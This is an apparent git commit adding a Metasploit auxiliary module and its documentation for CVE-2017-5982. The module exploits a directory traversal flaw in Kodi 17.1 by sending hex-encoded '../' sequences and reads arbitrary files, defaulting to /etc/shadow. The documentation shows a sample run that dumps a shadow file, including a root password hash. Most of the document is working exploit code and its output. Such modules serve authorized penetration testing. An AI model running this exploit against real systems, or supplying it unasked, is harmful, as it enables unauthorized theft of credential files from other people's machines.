Skip to content

Commit 7bd6aff

Browse files
committed
Add a sploit for CVE-2017-5982
1 parent 6470202 commit 7bd6aff

File tree

2 files changed

+124
-0
lines changed

2 files changed

+124
-0
lines changed
Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
## Vulnerable Application
2+
3+
This module exploits an arbitrary file disclosure vulnerability in Kodi 17.1.
4+
5+
**Vulnerable Application Installation Steps**
6+
7+
Grab whatever image from [libreelec](https://libreelec.tv/downloads/) if
8+
you're lazy, or [install kodi from scratch](http://kodi.wiki/view/HOW-TO:Install_Kodi_for_Linux).
9+
10+
You'll need a version lower than 17.1.
11+
12+
## Verification Steps
13+
14+
A successful check of the exploit will look like this:
15+
16+
```
17+
msf > use auxiliary/scanner/http/kodi_traversal
18+
msf auxiliary(kodi_traversal) > set RPORT 8080
19+
RPORT => 8080
20+
msf auxiliary(kodi_traversal) > set RHOSTS 192.168.0.31
21+
RHOSTS => 192.168.0.31
22+
msf auxiliary(kodi_traversal) > run
23+
24+
[*] Reading '/etc/shadow'
25+
[+] /etc/shadow stored as '/home/jvoisin/.msf4/loot/20170219214657_default_192.168.0.31_kodi_114009.bin'
26+
[*] Scanned 1 of 1 hosts (100% complete)
27+
[*] Auxiliary module execution completed
28+
msf auxiliary(kodi_traversal) > cat /home/jvoisin/.msf4/loot/20170219214657_default_192.168.0.31_kodi_114009.bin
29+
[*] exec: cat /home/jvoisin/.msf4/loot/20170219214657_default_192.168.0.31_kodi_114009.bin
30+
31+
systemd-network:*:::::::
32+
root:$6$ktSJvEl/p.r7nsR6$.EZhW6/TPiY.7qz.ymYSreJtHcufASE4ykx7osCfBlDXiEKqXoxltsX5fE0mY.494pJOKyuM50QfpLpNKvAPC.:::::::
33+
nobody:*:::::::
34+
dbus:*:::::::
35+
system:*:::::::
36+
sshd:*:::::::
37+
avahi:*:::::::
38+
msf auxiliary(kodi_traversal) > info
39+
40+
```
Lines changed: 84 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,84 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Auxiliary::Report
12+
include Msf::Auxiliary::Scanner
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Kodi 17.1 Local File Inclusion Vulnerability',
17+
'Description' => %q{
18+
This module exploits a directory traversal flaw found in Kodi 17.1.
19+
},
20+
'References' =>
21+
[
22+
['CVE', '2017-5982'],
23+
],
24+
'Author' =>
25+
[
26+
'Eric Flokstra', #Original
27+
'jvoisin'
28+
],
29+
'License' => MSF_LICENSE,
30+
'DisclosureDate' => "Feb 12 2017"
31+
))
32+
33+
register_options(
34+
[
35+
OptString.new('TARGETURI', [true, 'The URI path to the web application', '/']),
36+
OptString.new('FILE', [true, 'The file to obtain', '/etc/shadow']),
37+
OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10])
38+
], self.class)
39+
end
40+
41+
42+
def run_host(ip)
43+
base = normalize_uri(target_uri.path)
44+
45+
peer = "#{ip}:#{rport}"
46+
47+
print_status("Reading '#{datastore['FILE']}'")
48+
49+
traverse = '../' * datastore['DEPTH']
50+
f = datastore['FILE']
51+
f = f[1, f.length] if f =~ /^\//
52+
f = "image/image://" + Rex::Text.uri_encode(traverse + f, "hex-all")
53+
54+
uri = normalize_uri(base, Rex::Text.uri_encode(f, "hex-all"))
55+
res = send_request_cgi({
56+
'method' => 'GET',
57+
'uri' => uri
58+
})
59+
60+
if res and res.code != 200
61+
print_error("Unable to read '#{datastore['FILE']}', possibily because:")
62+
print_error("\t1. File does not exist.")
63+
print_error("\t2. No permission.")
64+
65+
elsif res and res.code == 200
66+
data = res.body.lstrip
67+
fname = datastore['FILE']
68+
p = store_loot(
69+
'kodi',
70+
'application/octet-stream',
71+
ip,
72+
data,
73+
fname
74+
)
75+
76+
vprint_line(data)
77+
print_good("#{fname} stored as '#{p}'")
78+
79+
else
80+
print_error("Fail to obtain file for some unknown reason")
81+
end
82+
end
83+
84+
end

0 commit comments

Comments
 (0)